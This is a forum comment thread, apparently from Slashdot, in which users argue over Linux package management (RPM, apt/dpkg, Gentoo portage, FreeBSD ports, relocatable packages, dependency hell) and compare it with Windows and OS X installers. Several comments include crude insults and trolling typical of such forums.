Somehow I get a yucky-feeling with 'solutions' that are based on wrappering the underlying cruft instead of fixing it. No amount of duck-taping and gui-frontends will make the Linux dependecy and packaging hell really go away, it will just lead to more obscure harder to track down bugs in the end. What I would really prefer to see would be one standard way to package stuff (relocatable and thus not to tied to where exactly it has to be installed, etc.) and how to handle the install. With all the distros around there is however little chance that we will see that any time soon. Only hope currently is really LSB, if lsb conforming rpms get more widespread in the future they might be a small change that packages moves more and more out of the distro and into distro independend lsb-rpms, however this will, if it ever happens take many many years, so I won't hold my breath...

Fix All Problems...

[Hard_Code]

I especially like that menu item...

Why even bother?

[ZosX]

With debian I can already install .rpms and .debs. Do I really need to support other packages? If I need something that isn't offered by the distro it is usually trivial to download source and compile. All apt really needs is a yum like interface to it and it would be so wonderful, yummy even. I still don't get this dependency hell thing with linux that people get. Dependencies are usually only broken by the user not really knowing what they are doing. Lets say to compile program X you need library Y installed and the makefile in X is not finding Y. Is this a dependency hell issue? What if you have the proper version of Y installed and X is still not seeing Y? Is this dependency hell going on here? I mean is it that hard to go into the fscking makefile and change the location, name, etc of those libraries? Most distros do a good job of symlinking to the version numbered file, but sometimes a makefile expects it to be called something different or find the lib in a different place. Linux is so easy when you figure it all out and get used to it. Sure its not easy for granny to install solitare, but if you are building 500 desktops all at once, I can't think of a better way than to roll your own packages and run your own apt repository, via FTP no less. Hell you could network boot each machine and have it configured and installed automatically once you go through the process of setting up a single client.

Package managers are a great idea (some would argue that BSD's ports and gentoo's portage is better, but I digress), but it seems like RPM has taken over as the recognized standard when it comes to distributing binaries, which is unfortunate, because I honestly think there are better solutions out there. I tried Fedora Core the other day and I was really disappointed at how little options I had when it came to deciding what was installed. For all the slick GUIness you really can't change a whole lot. I guess less is more.

I wish more applications had installers like Firefox's. That was actually really simple. It worked just like a windows installer! Shocking!

Re:Why even bother?

[rainman_bc]

Best thing with FC to do if you want to configure install-time options is to do a base install and install the rest of your system using yum.

That's how I build my FreeBSD system, so I get the latest ports... I do an ftp install, and then install the ports I need.

Of course that also means three or four hours configuring X, but I just use FreeBSD for my servers, not desktop...

Re:Why all the fuss?

[0racle]

OK, what if i want it in /opt because /usr is getting full, or because I export /opt but not user? I didn't say make it look like its in /opt, I said put it in /opt

Just forget it.

[Anonymous Coward]

Even if it were possible, it is simply undesirable. Vendors aren't supporting external packages. This will only make it more easy for would-be sysadmins to screw up their system. If you're a bit technical, creating a package isn't that difficult. I can't believe that some people are still wasting time on those so-called innovations. UNIX is already very portable. Just move on, nothing to see here.

Re:Why all the fuss?

[Qzukk]

If the package maintainer designed the package to be relocatable, then its pretty easy, assuming the program itself is relocatable, and almost NONE are.

When the package was built, at some point it probably gave a --prefix option to configure (or let it use the default) and from that point on, the directories became hardcoded in the executable. The configfile is at "/somepath/foo.conf". The logs are at "/somepath/logs/" and so on.

If you don't like where the package manager decided it should go, grab a source package and edit the compile script to make it compile with the paths you want, then rebuild the package. Gets you all the flexibility of building it yourself plus package management.

MOD PARENT UP!

[SoTuA]

[gentoo] is not for everybody

Of course not. It's for Ricers.

(Go ahead, got karma to burn. Or better yet, laugh instead. Makes you healthier)

Re:Why all the fuss?

[Geek of Tech]

Just try what I try. I have a anacron job setup to run after my computer has been on 30 minutes.

apt-get update
apt-get upgrade -y

I don't have to do it manually anymore because I have it set to update everyday. I trust the maintainers. Besides, while it's doing that I'm usually watching MacGyver...

Of course I will admit that some valid points have been raised on both sides of the Windows v. Linux packaging debate.

Re:Why all the fuss?

[Anonymous Coward]

ln -s /usr/lib/gimp /opt/gimp

OK, what if i want it in /opt because /usr is getting full, or because I export /opt but not user? I didn't say make it look like its in /opt, I said put it in /opt

Ok, smarty: ln -s /opt/gimp /usr/lib/gimp

:-)

Ahem

[Azureflare]

RPM-based distributions will try to install anything from anywhere

Actually, that should read:

users will try to install anything from anywhere.

If you get all your rpms from the rpm repository maintained by your distro, everything is fine. If you try mixing-matching distribution rpms, then you will run into problems. But, keep in mind: distributions do not do this by default. This is the user thinking they can just go around installing rpms built for different systems easily.

The tool that I never see mentioned is a nice and handy little tooll called rpmbuild --rebuild, which you use with .src.rpms. This will enable you to take, say, a .src.rpm for RedHat, and rebuild an rpm on a Mandrake system, and install it easily.

Often people touting dependency hell have never actually tried to go beyond the basic .i586.rpm available from different distros.

Re:Ahem

[Rostin]

Often people touting dependency hell have never actually tried to go beyond the basic .i586.rpm available from different distros.

There's probably some truth to what you say, but it really just goes to prove the point. It's like saying, "People who say that playing with rattle snakes is dangerous just don't own thick enough gloves and boots."

Re:Ahem

[fireboy1919]

For a while there I was trying to use source rpms to get around dependency hell.

The big trouble was in the little things - patches to gcc, or the libraries I had, and occasionally the code that I needed - weren't there.

Case in point - the latest version of Redhat ships with a version of Bison that won't work with g++ 3.4, which also comes with Redhat.

Even bigger - the last version of Mandrake I used (8.2) came with a gcc compiler that couldn't compile the Mandrake flavored kernel with the default options (the ones included by MandrakeSoft).

It was costing hours and hours of time to find out why things weren't working, and I couldn't take it. Sometimes I didn't ever figure out why something wouldn't compile.

This is why I switched to a source-based distro. Other people are working on compiling the stuff on many architectures, in many ways. They usually find bugs having to do with compilation before I do, so I don't have to scour the internet to get out of dependency hell.

Most important of all, this means that any obscure app that I want to install will be more likely to work, because there are fewer compiling related bugs with a distro that has compiling as it's focus.

Re:Ahem

[Anonymous Coward]

My guess is that only the people who get bitten do.

Re:Ahem

[petrus4]

>The tool that I never see mentioned is a nice
>and handy little tooll called rpmbuild
>--rebuild, which you use with .src.rpms. This
>will enable you to take, say, a .src.rpm for
>RedHat, and rebuild an rpm on a Mandrake system,
>and install it easily.

Not entirely...You still have to hope there wasn't a retarded chimpanzee at the keyboard at the time the specfile got written...which seems to be the case more often than not, unfortunately.

The bottom line is...rpm is broken...very very broken. People need to stop using almost-sorta-kinda solutions to problems which they think they'll just be able to hold together with chewing gum, fishing line and prayer simply because they're too darn lazy to find something else which actually works.

Re:Ahem

[obdulio]

If you get all your rpms from the rpm repository maintained by your distro, everything is fine.

What happens if you want to install a package that is not int the rpm repository? A package that only cames in source code, for you to compile? (the Enlightenments epplets, for example.)

Re:Ahem

[Walles]

If you get all your rpms from the rpm repository maintained by your distro, everything is fine. If you try mixing-matching distribution rpms, then you will run into problems.

This is still a reason to use Debian. Debian Testing currently has 16237 packages that have all been more or less integration tested with each other. This makes it a lot less common to be forced to install stuff from third party sources than with smaller distros (everybody else AFAIK).

I got that number by downloading the full list of packages in a compressed text file from packages.debian.org and doing zcat thelist | wc -l, and then substracting the six header lines from that result.

Re:Ahem

[Azureflare]

Mandrake... 8.2?

I haven't been using Mandrake for that long. But, regarding the g++ issue, most distros run compatibility versions of g++ side-by-side. I think mandrake has separate versions of g++ (in mandrake 10.1): g++-3.3.4, 3.4.0, 3.5.0, and 3.4.1, as well as the old 2.9.6. Which version is used is determined by the .spec file of the src.rpm I believe.

I haven't had a problem yet getting an app to compile that I needed on my system; note that's just my case, and I haven't tried to get obscure apps to work. rpm-based distros certainly aren't superior for all solutions, and as in your case perhaps only a source-based distro would be effective.

I haven't tried a source-based distro, but I think one of these days when I have a vacation I will. I just don't have the time to sit around while stuff compiles; the reason I use rpm based distros is that it works. It does sound intriguing, and I'd like to see what the fuss is all about.

Re:Why all the fuss?

[0racle]

I know, and this is the reason its a problem, it shouldn't be like that.

Re:UNIFY MY PENIS

[Anonymous Coward]

I think it's stuck up the gnaa's ass.

www.gnaa.us

Not for third party applications

[Anonymous Coward]

Package managers are ok for system libraries, etc. and those are provided by the distributions themselves. For third party software (games, bug tracking, etc.) that needs to work in many different distributions, it is better to just distribute a tarball or use standalone installers such as autopackage or BitRock

Absolutely!

[beaststwo]

Real men compile, although I often turn "girlie man" and use packaged software.

Missing the point

[asr_br]

I see a lot of comments here are missing the point about smart. The main idea behind smart is not to support mixing of different packages in one machine, but quite the contrary: allow usage of smart in different scenarios, no matter the architecture or the package manager behind it.

That's the main sense of "unification" behind it. In the ideal world of smart, you forget that your distribution uses RPM, DPKG, TGZz or whatever.

Where's my beta of KDE go?

[khasim]

Nice. But I can't find where I'm supposed to install the beta version of KDE. Suppose I want to have both of them (official release and Beta) available on one machine?

And that's just one problem. Until EVERYTHING on the file system is standardized, then you can't use two different package management systems.

Re:Where's my beta of KDE go?

[T-Ranger]

If you are installing a beta version of anything as complex and comprehensive as KDE, then you should expect things to get fucked up. Furthermore, if you are installing the beta version of KDE then should be installing the beta version of KDE, not a package manager.

Re:Where's my beta of KDE go?

[jelle]

Install that beta on another machine where it replaces the regular KDE (of use a chroot and/or vserver or uml).

KDE is not made to be installed twice.

No package manager will fix that.

Re:Where's my beta of KDE go?

[mrchaotica]

Well, you see, I have a problem with the whole idea of KDE existing as a monolithic unit, so I'm not the best person to talk to about that...

However, the other responses sound good, and I have one of my own: just stick it in /opt/kde-beta/ or something -- that's (more or less) what opt is for!

Re:Where's my beta of KDE go?

[Anonymous Coward]

Actually, the whole point of half the threads here is that you should NOT expect things to be fucked up just by installing additional software.

There _should_ be a way to easily install beta versions and obsolete versions (that Oracle may depend on) and current versions of even major packages; and users and software that wants to access said versions should be able to do so.

What about zero install

[Anonymous Coward]

I'm no expert in this area but zero install "sounds" great. Is the zero install concept going anywhere? What are the obstacles to it's implementation?

Re:Drag-n-drop like OSX

[space_man51]

Perhaps not a drag-n-drop in the literal sense of copying all the program files as a single folder. There are many advantages to having executables, libraries, and architecture-independant files in separate places. However, the OSX drag-n-drop system can be used as a metaphor:

Create a plugin for Konqueror or Nautilus which, when the user drags a package into the special (possibly virtual) folder automatically executes a 'dpkg -i', 'rpm -i', or whatever other system. If there are dependancies missing, prompt the user to automatically download the missing packages if possible. Optionally use "alien" to convert the packages to the distribution-native format (works like a charm). Finally, create a .desktop file in the virtual folder that the user can drag onto his/her kmenu, panel, desktop, whatever (.desktop is already a standard).

To uninstall the program, the user simply drags the .desktop file to the trashcan. The package manager is invoked and uninstalls the program.

If you don't like the idea of a GNOME- or KDE-specific plugin, create a deamon which will use FAM or something to monitor a special folder, and perform the actions I described above. Clean, simple for the "average joe" and yet fully manageable using existing package tools so if something goes wrong, a more Linux-savy user could fix it.

Comment removed

[account_deleted]

Comment removed based on user account deletion

Too much packaging....

[punkrockguy318]

Here's a big problem Every important program is packaged many many times... Let's say I make program FooBar. First, I make a source tarbell of FooBar-1.tar.gz. Next, every distribution on the planet will repackage this ... A Debian DEB, and Ubuntu DEB, a Fedora RPM, a Mandrake RPM, an Arch Linux pacman PKG, every other obscure package format.. Next, FooBar-2.tar.gz comes out. All those distros have to repackage FooBar. The developer should be able to make too packages: a source package, and a binary, and be assured that it will work on most distributions. So much repackaging is being wasted, when a standard could arise and the program would only need to be packaged once.

Re:Too much packaging....

[Anonymous Coward]

Or you could just distribute sourcecode... I mean how hard do you want to make it?

monthly cronjob running at slashdot?

[Anonymous Coward]

is there a "yet another unified package management system anounced" cronjob sheduled every eight weeks or so to generate that type of story?

just my 2c

Gentoo

[Clete2]

Too bad Gentoo isn't in on it.

Re:Why all the fuss?

[space_man51]

apt-get when used with the "aptitude" front-end will do this beautifully. Not only will it show you a list of all the (inter-)dependencies, but also let you uninstall them right from the list (just hit the '-' key). It will also give you the option to remove unique dependancies if they are libraries (which is what you usually want).

Re:Why all the fuss?

[AstroDrabb]

./configure && make && make install _is_ an installation and packaging system. You package all your code in _one_ file and then just need to extract it and run ./configure && make && make install. Configure is cross-platform and does a great job of installing software. The only obvious downside is waiting to compile the code. I have gotten a lot of Win32 apps that just come as a zip file that I have to extract as well as many setup apps where the apps were poorly written and assumed they were installed in a hardcoded path under c:\Program files. I have even installed a lot of Win32 apps that didn't give an option on where to install. When I installed that latest MS Media player, I wasn't asked where to put it.

RPM has had the feature you are talking about for a long time. They are called Relocatable Packages. Most RPM's are not relocatable because many people think installing programs in an organized manner is a good thing. So most apps go to /usr or /usr/local, just like most apps under MS Windows goes under C:\Program Files.

There are just as many hardcoded paths in MS windows. Can I change where all my system DLL's are kept? Why do I have to put DLL's in the the Windows, System32 or application directory for an application to find them? Under Linux, I can put them anywhere and just update the LD_LIBRARY_PATH.

Linux and MS Windows both have hardcoded paths for different things. They are both due to design choices and neither are bad or good.

The Answer in HTML

[ZosX]

<html>
<head>
<title>Gentoo troll</title>
</head>

<body>

<advice>

Tr y something like debian stable or even testing (its frozen right now). If you are looking for a stable developing environment that is not constantly changing why on earth would you pick gentoo?

</advice>

<rant>

Why on earth would anyone who has to get work done with their computer pick gentoo? Especially a developer...think of all the wasted time eating up CPU that constantly compiling new versions of your software. So your gay ass pimped KDE desktop opens up 15 seconds faster, big whoop. Why the hell do you need to load up your whole system and window manager more than say like once a month or even a week? Even if you log off, chances are a good portion of that data is cached and it will load faster the next time. I suspect that a good number of gentoo users are also the people that put watercooling units on their CPUs for the marginal 10-20% clock increase. I also suspect that a great number of these freaks put "Hot Wheels" and "NISMO" stickers on the side of their boxes neon and black lights glowing inside. Developing on the official "ricer" linux distro. What a joke.

</rant>

<confession>

In all honesty I really wanted to like gentoo. I thought the concept was super cool. I tried installing gentoo and spent a few hours just going through the steps (and misteps) of setting up the system and then started compiling the basics. 8 hours later I still didn't even have GCC or even bash yet. I started to think about how long it would compile KDE if GCC took that fscking long.

</confession>
</body>
</html&g t;

Re:The Answer in HTML

[Uzik2]

Hey,
Watch the name calling if you want to have
a rational discourse. "Gay ass?" Would you
like it if I called you a kid without a clue?

The answer to your question is: I don't waste
time recompiling all the time. I only did it
once. I emerged the packages I needed when
I built the system. I left out all the stuff
I didn't need so my system was more
secure and ran better with limited resources,
not because I wanted to speed tweak it
until the processor melted down. Your point
is exactly correct about updating and
recompiling everything all the time.
I pointed it out on their forums.
The real utility for me was to be able to put
together a linux box without all the stuff I
didn't want.

The big drawback to portage, and the rest of
these package systems (and for that matter
multi user revision control systems), is every
time someone checks in a new revision of anything
who knows how many other packages just got broken?

The perl stuff was the worst. Someone changed
something in a library someplace and half the
stuff I tried to build that used perl blew up.
I'm sure it just gets worse with bigger packages,
with even more dependencies. Especially with
scripted languages that the dependencies aren't
obvious until runtime.

You're right, I'm sure for a lot of them building
a usable computer isn't the object.

Re:The Answer in HTML

[Sweetshark]

Try something like debian stable or even testing (its frozen right now).
Hell, why do you debian trolls always forget to give a valid reason for this?
think of all the wasted time eating up CPU that constantly compiling new versions of your software.
It not wasted. It runs in the background and doesnt hinder my usage of the system at all.
So your gay ass pimped KDE desktop opens up 15 seconds faster, big whoop.
Not everyone has a bloated KDE desktop. And most gentoo users dont care about "speed gain".
Developing on the official "ricer" linux distro. What a joke.
Promoting the official newbie-unfriendly asshole distro. What a joke.
8 hours later I still didn't even have GCC or even bash yet.
a) Use stage3+GRP
b) inform yourself on forums.gentoo.org or #gentoo on freenode.net about est. compile-times before trying a install.
c) Concider if gentoo would be a PITA on your hardware and not really worth it. Compiling gcc on my AMD K6-200 takes 3-4 hours. This is why I crosscompile it on a faster machine or use GRP.
d) debian is fine and a better solution in some scenarios. But it is not the best solution in all scenarios. debian being a good distro doesnt make gentoo superfluous.
e) As for package formats: Makeing .debs from ebuilds is easy. The other way around it does not work.

Re:Why all the fuss?

[Anonymous Coward]

Software installation using any of the package managers above is usually easier than your average software installation in Windows.

I think whether or not it's easier has more to do with what the user's used to than anything else. That said, I'd much rather go to the gimp web site, download the gimp installer, use it (like I do every other installer -- they're all pretty much the same*) and maybe back it up on cd with other freeware** installers if I want to.

What do I do in Debian if I want to back up a piece of software that I usually install via apt-get? Stop. I'm sure there's an answer to this question. I don't want it. The point is that I don't already know it and can't intuitively figure it out. On windows, there are things called installers; they're files like every other file and when you double click them they install software for you. Does it take a lot of thinking before you can figure out what you need to do to make sure software you just installed is available to you after a system crash?

*They are, but the gimp installer is deficient in comparison to most windows installers because it's not self-sufficient. You need the gtk+ installer too.

**Yes, I know that the gimp is Free software as well as freeware.

Re:Why all the fuss?

[Anonymous Coward]

"/usr" stands for "Unix System Resources", not "user".

Hope that helps. Have a nice day!

Re:Why all the fuss?

[Anonymous Coward]

And the best part is you don't have to go down to the store and fork over money to get it.

Ahhhhh......

Re:Why all the fuss?

[compass46]

Newer Gnome apps use gconf schemas. You either force all Gnome apps using gconf schemas to install in the Gnome prefix or you force gconf to search the entire system for schemas because the user my have installed the package anywhere. The former is obviously better since you are not searching your entire fs for a few small particular files.

Windows doesn't have the same PREFIX and file type specific directories concept that *NIX does. (bin/ for binaries, lib/ for libraies...) Windows programs typically install most everyting in their own unique directory. That's why relocating the install directory in Windows is so much easier. I don't see the *NIX way of organizing files leaving anytime soon.

Different package formats is not the problem

[g0sub]

Why won't people ever understand that different package formats is not the problem. Packages are configured and compiled to go with the other packages for that specific version of that specific distribution. It does not help squat to have the possibility to install packages from different versions and/or distros.

As I saw in another comment further up - treat each version of each distro as a separate OS and you won't have problems. If you want to install software not packaged in your version of your distro - compile it from source and you are a happy user. Even happier once you discover that your version of your distro often has packages for the dependencies your new, source-based software have.

Re:Why all the fuss?

[Anonymous Coward]

I'll start using it reaches the stable branch. For now, good luck to all you brave souls out there who run unstable and testing.

Good news! It's there now. All it needs is a semicompetent administrator.

By the way, any news on how well it works on ppc and arm?

This, on the other hand, is what's holding me back. You know, due to the incredible popularity of ppc and arm.

I can't seem to find the source anywhere to test it out.

Instead of "close source," I like to think of windows as "source free," kinda like "fat free." In Linux, sometimes I'm forced to compile source code to get things to work. This is a hassle. Due to the incredible fear that the Windows distributors have of letting everyday users get Free access to the source code, this problem never arises on Windows.

Re:Why all the fuss?

[katharsis83]

"...although the typing may scare off most Windows users."

That's exactly the point. If I want to install a Windows version of a piece of software, all I do is surf over to the webpage, download it, and double-click. The rest is a menu-guided GUI walkthrough of the installation process with the "Help" button always within reach at the bottom. Nothing to type; no dependency problems; no obscure flags to look up in man pages. Yes, sometimes it fails and doesn't find a missing DLL or whatever, but out of dual-booting WinXP and Mandrake/SuSE variants, I've encountered far more problems with dependencies than with DLL's.

Installation/removal of software in Linux may be easy for veteran users, but incredibly daunting to newbies. The requirement of typing stuff into a commandline is an absolute no-no when it comes to new users; the Linux software installation system needs to be entirely GUI-based with menu-driven options and help.

Comment removed

[account_deleted]

Comment removed based on user account deletion

A slightly different take on that.

[khasim]

Rather than looking at "consolidated package management", why not discuss the functionality that you'd like to see in a package management system?

I think a new Package Management system must be created rather than combining the old ones. Many old package management systems tend to be very specific, limiting, and sometimes even confusing.

Personally, I prefer Debian's approach. But it does have the flaw that the author of the article pointed out. If you have the libraries installed by hand or something that didnt' update Debian's info, then the libraries are not recognized.

Instead of tearing everything down, I'd prefer to see the various package management systems' functionality increased so that they can identify (and flag as "untrusted" or something) the libraries that they think are "missing". Preferably automatically, but possibly manually as well. Example:

apt-get install foo

Package foo fails dependencies (library lib.foo.2).

Do you want me to search the system for lib.foo.2? Searching may take a while: y/N

Searching for lib.foo.2 ..... lib.foo.2 found at /usr/local/lib/lib.foo.2. Updating system .... lib.foo.2 marked as "untrusted". You may experience problems with upgrading/removing packages on your system and system stability. Please do not file bug reports against package foo until lib.foo.2 is replaced.

There. You can install whatever app you want from where you want and you won't break the system's package management system.

For me, the whole idea behind a package management system is:
#1. Easily install packages from known repository.
#2. Easily upgrade packages.
#3. Easily remove packages.
#4. Easily verify any program on the system.
#5. Verify the whole system.

I don't know if one package management system will every be right for everyone. All evidence seems to indicate otherwise.

Instead of focusing on the perfect package management system, why not focus on the following:

#1. What system do you currently use?
#2. What do you like about that system?
#3. What do you not like about that system?
#3. What additional functionality you'd like.

Talking about the ultimate package management system is a lot like talking about the ultimate editor.

Re:A slightly different take on that.

[Anonymous Coward]

Instead of tearing everything down, I'd prefer to see the various package management systems' functionality increased so that they can identify (and flag as "untrusted" or something) the libraries that they think are "missing". Preferably automatically, but possibly manually as well.

I think it would be better if it was just easier to build a package that would be installed via the package manager. That way you could have installed those rogue libraries using the packaging system and you wouldn't have the problem of them being unknown to the packaging system.

When you use a package manager, everything should be installed using that package manager.

Re:Why all the fuss?

[space_man51]

Those install programs only pretend to give you control. There is still a bunch of files, especially, DLL and configuration files, that get scattered all across your filesystem. When have you specified "c:\windows\system" as an install dir? Yet it just keeps growing!

And considering the fact that uninstallers are an afterthought in the Windows world, you'll be lucky to find half of them. In my experience, the average uninstaller fails 2/3 times; good hunting!

Yes, we need a way to specify a specific install path for special cases, but Windows certainly does _not_ do package management right... it has no package management, only "installers".

What kind of control do you want over your filesystem? There are good reasons behind why Linux programs are installed the way they are. Read the FHS for more: http://www.pathname.com/fhs/.

I really hope this works

[adolfojp]

This really needs to be done. I currently only use mandrake or debian based distros because of their package/dependencies managers. This brings us one step closer to the double click install that computer users need to switch.

Cheers,
Adolfo

Re:Why all the fuss?

[Anonymous Coward]

If I could put "gimp 2.0.0.2" in /usr/local/experimental and have that not affect users using the existing gimp from /usr/bin, I'd be much happier

What about being able to put them in their own directories? gimp-2.0.0.1 goes in /usr/local/pkg/gimp/gimp-2.0.0.1, and gimp-2.0.0.2 goes in /usr/local/pkg/gimp/gimp-2.0.0.2. Installation is worry free, because there's only one place either package can go, and it's impossible for something else to be in that directory. If you want two gimp-2.0.0.1 packages installed, maybe for benchmarking purposes, then append a _n after it, where n is an ``official'' package, coming from the OS people (like FreeBSD). If you're rolling your own packages, then append __n where n is your own personal version. So if you want gimp-2.0.0.1_2 compiled for a 386, compile it yourself and call it gimp-2.0.0.1_2_1, and put it in /usr/local/pkg/gimp/gimp-2.0.0.1_2_1. There's still only one place it can be installed at, and uninstalling it is just as easy and intuitive. If you also manage which versions of libraries it's linked to using a config file instead of symlinks, then you're in even better shape, because you can control what version of library X gets used without having to recompile and without interfering with other packages' libraries.

There are problems. First, the packages aren't designed to expect this organization. Currently, both versions of gimp (or some other package) might want to use the same config file stored in /usr/local/etc. This is a problem because the packages aren't separate from each other anymore. Moving the config files into the separate directories isn't always a solution because of the advantages that can come from mounting /usr as read-only. Autoconf setups sometimes have options for the ``sysconfdir,'' but not always. Lastly, this goes against the File Hierarchy Standard. Standards can always be redone, but it'll take some work.

Re:Why all the fuss?

[GOD_ALMIGHTY]

I've found a great solution to this problem! They call it Windows!

There is always an easy solution to every human problem -- neat, plausible and wrong. -- H.L. Mencken

Thank-you for playing.

No, we get the point

[Ars-Fartsica]

Its you who are mistaken, not us. What we see is a wrapper on a wrapper. What we see is a setup that is bound to create instability and broken package trees. What we see is a metapackaging scheme when what we really need is a unipackaging scheme.

But does it solve the Real Problem?

[waffleman]

The real problem is not whether you can handle multiple formats, it's conflicts. Consider that package A wants libfoo.1.1.1 with --extra-foo turned on and nothing else, but package B wants libfoo.1.1.1 with --mini-foo turned on and nothing else. Using either version of libfoo.1.1.1 will break one of A or B. So, if you want to install packages meant for RedHat along with ones meant for Debian, or Suse, or ... you're going to run into this sort of problem *very* quickly. Unless they've somehow solved this, this project isn't really what a lot people might want. Of course the folks over at autopackage provide a solution of sorts, but that must be implemented at the software package producer end, not at the comsumers end, so unless the producer co-operates (yeah, right) the consumer is SOL.

How about something someone needs?

[Anonymous Coward]

Bah. Apt has already solved this problem. Please go build a usable OCR engine instead.

Agreed, they cannot forsee all conflicts

[Ars-Fartsica]

The problem with any of these wrappers is that they are trying to solve an intractable problem - making all package systems play together. Its been tried.

Tried and failed?

Tried and died.

The wrapper app simply doesn't know what the imported packages are going to do to each other. At least in a single-source scheme, the manager of the repository can confirm that all packages on their servers play nice with each other. The same can't be said across all package managers and repositories. People will get segfaulting binaries, missing files, versionitis, etc etc etc until utlimately they will reinstall the OS and vow never to touch a metapackage tool again.

pkgsrc

[Anonymous Coward]

Works on Linux, Solaris, NetBSD, etc. etc.

If you can browse a directory tree and type make install you can build from source. If you can type pkg_add you can install binaries and dependencies.

www.pkgsrc.org

gentoo, et al.

[mizhi]

I've had some nightmares with portage using gentoo before. Keep in mind, it's my distribution of choice, but that doesn't mean that portage is not without its problems.

RPM does suck (/flamebait) but don't fool yourself into thinking that the other package systems are problem free.

Re:gentoo, et al.

[upsidedown_duck]

RPM does suck (/flamebait)

It isn't flamebait, because RPM really does suck.

Re:gentoo, et al.

[antiMStroll]

Were you doing any customization? I've had problems for sure, but never anything more than a poorly configured emerge failing. However Gentoo doesn't replace binaries until a compile has successfully completed so worse case the result is a bit of lost drive space in var and waiting for a package fix.

Where gentoo realy needs help is its insistence of generating new config files with every core emerge and sitting the user through a hundred questions via etc-update. Retain, replace or merge /etc/foo? At least they stopped doing this for trivial header changes.

Re:gentoo, et al.

[mizhi]

yeah, basically bad ebuilds. At some point there was a majorish update to portage and I hadn't emerge sync world in a while. The paths had changes and whatever inheritance mechanims portage uses for its classes died. I also had a situation where I had to find a package for an older version of portage in order to fix some major complications with an upgrade.

I managed to resolve all those issues, but it took time.

I'm right there with you on the config files. why would I want to replace /etc/fstab with their default fstab? The mind boggles.

Re:gentoo, et al.

[IncohereD]

However Gentoo doesn't replace binaries until a compile has successfully completed so worse case the result is a bit of lost drive space in var and waiting for a package fix.

The problem is when the successfully compiled package hoses your system. For some strange reason last week I decided I didn't want to run an unstable glibc anymore, so I let emerge --update downgrade it. Whoops. When "ls" is giving you segmentation faults, you've got trouble.

Should be modded "Funsightful/Funteresting"

[Ars-Fartsica]

Because he is right. You can't wrap a broken tool to make a fixed tool. Its better to start with one single tool that works and make it pervasive in the system. That is why a /ports is installable on every FreeBSD box.

Re:Should be modded "Funsightful/Funteresting"

[jelle]

What you're saying is that we should all just speak spanish or mandarin, because that is the best way to make language work globally.

Not in real life. In real life you've got person A liking tool 1 and person B liking tool 2, and you'll never convince them to switch.

You like ports, other people rpm+urpm, other people dpkg+apt.

To each its own, and let's make it work together.

Re:Should be modded "Funsightful/Funteresting"

[Billly Gates]

Well English is already becoming a standard foreign language.

Would you rather combine Mandrin + Korean + portagesse and every other language under the sun together??

We need standards and while the LSB chose RPM, Rpm is broken and the distro's use this as a way to keep you on the upgrade treadmill.

Before I had highspeed internet access years ago I blew hundreds of dollars on Linux distro's because I wanted the latest version of KDE or I wanted to see if bugs were fixed in Mandrake. Rpm just was not viable and did not work.

Now I discovered FreeBSD and I just laugh and shake my head in disgust when I see Linux users fighting over this.

I could have saved money and stayed with Windows. Just point and click to install setup.exe DONE! Is that so hard??

I guess the ports will suffice for now.

Re:Should be modded "Funsightful/Funteresting"

[jelle]

English is not a standard language at all. More people speak Mandarin , more people speak Spanish. Spanish is taking over in the US as we speak.

And sure, 'setup.exe', now that is a good 'packaging system'. Dependency hell solved by ignoring dependencies. Good call.

Nothing is wrong with apt/dpkg, I don't know about rpms (don't use them), but if some standardization effort makes the work of people who package rpms available to systems built with apt/dpkg, then that may be nice.

I'm happy and have no problems at all with apt/dpkg. You will not convince me to switch to port, urpm, or whatever tickles you.

Neither will I be able to convince you to switch to apt/dpkg.

That's how things are, and it's not going to change. And that is my point.

AUTOUPDATE?

[Anonymous Coward]

its killed more windows systems than apt-get, that i can tell you.

Re:Drag-n-drop like OSX

[The Shrubber]

I think I like the OS X approach better; it is just so much simpler. The application is self-contained in a directory with an .app extension and a special structure. The OS recognises the structure and knows what to do when you double-click the icon.
That's all.

Installation means dragging the icon (mv'ing the directory) to your hard drive. Want different versions? Want to uninstall? Just get rid of the directory. No problem, just rename the old version.

Drag and drop isn't the point. The point here is that there is conceptual simplicity. No dumbing things down for the "average joe" because there is no need to. Less chance of anything going around that you'd need to find a Linux-savvy user to fix.

We should strive not to dumb things down, but to make things inherently easy to use!

Disappearing sources?

[Air-conditioned cowh]

Never mind dependancy hell, what about disappearing repository directories?

I am constantly having to re-visit the easy urpmi site because the various sources keep disappearing. I just wish they would sit still and stop fidgeting!

What would be neat is an app or script that found another repository (maybe from easy urpmi) whenever one broke and maybe tested it's speed before replacing it. I'm sure I could write it myself when I get the time...

Facilitates migration, too

[robla]

Projects like this also allow a distibution to make a migration from one package format to another, simultaneously supporting two package formats at once while the migration occurs.

Rob

Re:Facilitates migration, too

[Anonymous Coward]

It sounds like you need http://www.hadrons.org/~guillem/debian/debtakeover / :)

Re:Why all the fuss?

[flibuste]

I surely will try that!

Besides, while it's doing that I'm usually watching MacGyver...

Ah! I knew you had a secret way of coping with these things ;-)

hmm

[ChrisJones]

I've been thinking that this problem should be approached from the other end.
Realistically, what Connectiva are doing is going to lead to a machine becoming a serious mess of libraries from different sources and it's blatantly not going to work very well.
What I'd like to see is software released in such a way that it can be automatically converted into whatever package your system supports. This is less immediately useful for end users, but will ultimately make the end packaging format irrelevant, letting more distros spend less time doing their own packaging and concentrating on improving integration and so on.
I believe efforts have been made in this direction , but I have no idea about their scope or uptake.

Devil's advocacy

[i_r_sensitive]

Our linux community really needs something as FUBAR proof as microsoft's start menu icon that says autoupdate...or better yet a background app that does it all for us.

Not if you want to keep this member of the community it doesn't...

I see so many projects whose only goal is to make Linux easier to use for lusers. Folks, we allready have an OS for your grandmother, it's called Windows. Please stop trying to remake Linus' beautiful swan into an ugly fucking duck!

No, I'm not being revanchist, what I am saying is let's not remake Linux in Windows image... If to supplant Windows we must become Windows, well then let's forget supplanting Windows, the cost in unconscionable...

Bottom line, if that's the way Linux is going, stop the bus, I'm getting off. Hello *BSD where admins are admins and lusers are grateful...

Here We Go Again, Geek Morons!

[Master of Transhuman]

Jesus Baron von Christ, geeks, this isn't nuclear fusion science!

Develop an XML layout standard for packages defining everything - names, file sizes, hash values for everything - in other words IDENTIFY EVERYTHING uniguely (and where it ISN'T unique, cross-ref) - then write a package manager.

Do I have to do everything for you morons?

Re:Here We Go Again, Geek Morons!

[Anonymous Coward]

Yes. Wiseguy.

And by the way, the difficulty is not in defining the standard, but the difficulty is in getting the packagers to fill in the fields.

Your way, no package will ever have all 'required' fields filled in.

Or just implement it and prove the world how smart you really are. Until then, you're just a moron like the rest of us.

Bye Smartie.

Re:Why all the fuss?

[LilMikey]

